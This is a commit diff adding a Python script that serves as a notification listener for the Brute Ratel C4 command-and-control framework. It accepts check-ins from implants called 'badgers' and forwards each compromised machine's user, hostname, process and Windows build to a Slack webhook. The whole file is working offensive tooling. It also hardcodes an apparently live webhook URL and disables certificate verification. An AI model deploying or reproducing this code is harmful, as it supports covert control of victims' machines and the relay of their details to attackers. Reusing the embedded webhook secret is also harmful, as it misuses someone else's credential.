initial commit

2026-08-27 11:22:43 -06:00
commit c0db112be3
155 changed files with 5570 additions and 0 deletions
@@ -0,0 +1,108 @@
+#!/usr/bin/python3
+
+# In order for this script to run successfully, the operator needs to
+# update the slackWebHook variable with their own webhook generated
+# from slack. This can be generated by Creating a channel, an app and
+# then enabling Incoming Webhooks within the Slack App. Once the 
+# webhook is enabled, it will return a URL which needs to be added in
+# the slackWebHook variable below
+
+import sys
+from datetime import datetime
+from http.server import HTTPServer, BaseHTTPRequestHandler
+import ssl
+import json
+import threading
+import requests
+import urllib3
+urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
+
+info = """
+Brute Ratel C4 Notification Provider
+Author : Paranoid Ninja
+"""
+
+usage = """
+Usage : badgerNotifier.py slack <certfile> <keyfile>
+Eg.   : badgerNotifier.py slack /etc/letsencrypt/live/evasionlabs.com/fullchain.pem /etc/letsencrypt/live/evasionlabs.com/privkey.pem
+"""
+
+LHOST = "0.0.0.0"
+LPORT = 8080
+slackWebHookUrl = "https://hooks.slack.com/services/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"
+
+class NotificationHandler(BaseHTTPRequestHandler):
+    def _set_headers(self):
+        self.send_response(200)
+        self.send_header("Content-type", "text/html")
+        self.end_headers()
+
+    def _html(self, message):
+        content = f"{message}"
+        return content.encode("utf8")
+
+    def do_GET(self):
+        self._set_headers()
+        self.wfile.write(self._html("404 Not Found"))
+        currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
+        print("[" + currtime + "] GET request from " + self.address_string())
+        for x, y in self.headers.items():
+            print("  - ", x, ": ", y )
+        print("------------------------------------------------------------")
+
+    def do_HEAD(self):
+        self._set_headers()
+        self.wfile.write(self._html("404 Not Found"))
+        currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
+        print("[" + currtime + "] HEAD request from " + self.address_string())
+        for x, y in self.headers.items():
+            print("  - ", x, ": ", y )
+        print("------------------------------------------------------------")
+
+    def do_POST(self):
+        try:
+            postData = ((self.rfile.read(int(self.headers['content-length']))).decode('utf-8')).rstrip('\r\n\r\n\0')
+            jdata = json.loads(postData)
+            # print(jdata)
+            if "badger" in jdata:
+                b_id = jdata["badger"]
+                currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
+                print(f"[+] {currtime} " + b_id + " checked in")
+                if "badger_config" in jdata:
+                    b_uid = jdata["badger_config"]["b_uid"]
+                    b_h_name = jdata["badger_config"]["b_h_name"]
+                    b_p_name = jdata["badger_config"]["b_p_name"]
+                    b_pid = jdata["badger_config"]["b_pid"]
+                    b_winver = jdata["badger_config"]["b_wver"]
+                    b_bld = jdata["badger_config"]["b_bld"]
+                    finalMsg = "Badger *" + b_id + "* checked in as user *" + b_uid + "* from host *" + b_h_name + "* spawned under process *" + b_pid + "::" + b_p_name + "* on Windows " + b_winver + " Build " + b_bld
+                    # print(finalMsg)
+                    self._set_headers()
+                    self.wfile.write(self._html(""))
+                    try:
+                        requests.post(slackWebHookUrl, json={'text':finalMsg}, verify=False, headers={'Content-type': 'application/json'})
+                    except Exception as ex:
+                        print("[!] Exception:", ex)
+
+        except Exception as ex:
+            print("[-] Exception:", ex)
+
+    def log_message(self, format, *args):
+        return
+
+def main():
+    print(info)
+    if (len(sys.argv) < 3):
+        print(usage)
+        return
+    currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
+    print(f"[+] {currtime} Starting Badger Notification Handler for %s => {LHOST}:{LPORT}" % sys.argv[1])
+    server = HTTPServer((LHOST, LPORT), NotificationHandler)
+    server.socket = ssl.wrap_socket(server.socket, certfile=sys.argv[2], keyfile=sys.argv[3], server_side=True)
+    thread = threading.Thread(None, server.serve_forever)
+    thread.daemon = True
+    thread.start()
+    thread.join()
+
+if __name__ == "__main__":
+    main()